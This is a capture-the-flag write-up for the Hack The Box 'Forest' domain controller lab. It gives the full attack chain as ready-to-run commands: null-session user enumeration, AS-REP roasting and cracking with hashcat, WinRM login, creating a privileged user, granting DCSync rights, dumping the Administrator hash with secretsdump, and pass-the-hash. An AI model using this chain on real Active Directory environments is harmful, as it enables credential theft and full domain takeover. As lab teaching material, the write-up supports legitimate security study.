Forest

Overview

Forest is an Easy-difficulty Windows Active Directory domain controller. The attack chain starts with anonymous RPC enumeration to harvest domain usernames, then targets svc-alfresco whose account has Kerberos pre-authentication disabled — AS-REP Roasting returns an offline-crackable hash that hashcat breaks against rockyou in seconds. That credential lands a WinRM shell as svc-alfresco, who is in Account Operators. From there, a new user is added to Exchange Windows Permissions (which carries WriteDACL on the domain object), impacket-dacledit grants DCSync rights, secretsdump dumps the Administrator hash, and a Pass-the-Hash evil-winrm session completes the domain compromise.

Machine Matrix

High Enumeration and Real-Life axes reflect the multi-layer AD recon chain (RPC null session, AS-REP Roasting, WriteDACL abuse, DCSync) that mirrors genuine internal pentest findings; no CVE and no custom exploit keeps those axes flat.

Recon

Port	Service	Notes
53/tcp	DNS	Simple DNS Plus
88/tcp	Kerberos	Domain: htb.local
135/tcp	MSRPC	Microsoft Windows RPC
139/tcp	netbios-ssn	NetBIOS session
389/tcp	LDAP	Active Directory LDAP
445/tcp	SMB	Microsoft-DS
464/tcp	kpasswd5	Kerberos password
593/tcp	ncacn_http	RPC over HTTP
636/tcp	LDAPS	LDAP over SSL
3268/tcp	globalcatLDAP	Global Catalog LDAP
5985/tcp	WinRM	Microsoft HTTPAPI 2.0

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,88,135,139,389,445,464,593,636,3268,5985 -sC -sV -Pn 10.10.10.X

The port spread — Kerberos, LDAP, Global Catalog, MSRPC, SMB, and WinRM — is the fingerprint of a domain controller. No web server is exposed, so RPC and Kerberos are the obvious first-attack surfaces.

Enumeration

With no web service to browse, the first move is to test whether RPC allows a null (unauthenticated) session and can enumerate domain users. On many older or misconfigured AD environments this works by default.

rpcclient -U '' -N 10.10.10.X -c 'enumdomusers' | grep -oP '\[.*?\]' | sed 's/\[//g;s/\]//g' | grep -v '0x' > users.txt

The null session succeeds and returns the full domain user list, including svc-alfresco. With a user list in hand, the next step is to check whether any account has Kerberos pre-authentication disabled — the AS-REP Roasting condition (CWE-287):

impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.10.10.X -format hashcat -no-pass

svc-alfresco returns a $krb5asrep$23$ hash. The $23$ tag means RC4 encryption, the weakest Kerberos cipher — fast to crack offline.

Foothold

Crack the AS-REP hash with hashcat against the rockyou wordlist (CWE-521 — weak password):

hashcat -a 0 -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

hashcat returns svc-alfresco:s3rvice in seconds. Port 5985 (WinRM) is open and svc-alfresco has remote-management access, so the cracked credential drops straight into a shell:

evil-winrm -i 10.10.10.X -u svc-alfresco -p s3rvice

User flag

type C:\Users\svc-alfresco\Desktop\user.txt   # HTB{...}

We land as svc-alfresco on the domain controller and the user flag is ours.

Privilege Escalation

After landing the shell, enumerate group membership. svc-alfresco is in Account Operators — a privileged built-in group that can create domain users and add them to most groups. The Exchange Windows Permissions group has WriteDACL on the domain object, meaning any member can rewrite the domain ACL and grant themselves DCSync rights (CWE-269, CWE-732).

Step 1 — Create a new domain user and add it to the Exchange group (run inside evil-winrm):

net user hax0r P@ssw0rd123! /add /domain

net group "Exchange Windows Permissions" hax0r /add /domain

net localgroup "Remote Management Users" hax0r /add

Step 2 — From Kali, use WriteDACL to grant DCSync rights to the new user:

impacket-dacledit -action write -rights DCSync -principal hax0r -target-dn "DC=htb,DC=local" htb.local/hax0r:'P@ssw0rd123!' -dc-ip 10.10.10.X

Step 3 — DCSync to dump the Administrator NTLM hash:

impacket-secretsdump htb.local/hax0r:'P@ssw0rd123!'@10.10.10.X -just-dc-user Administrator

secretsdump impersonates a DC replication partner and receives Administrator’s NT hash directly from AD replication. No plaintext password needed.

Step 4 — Pass-the-Hash as Administrator:

evil-winrm -i 10.10.10.X -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

Root flag

type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Domain Administrator shell confirmed — full compromise of the htb.local domain.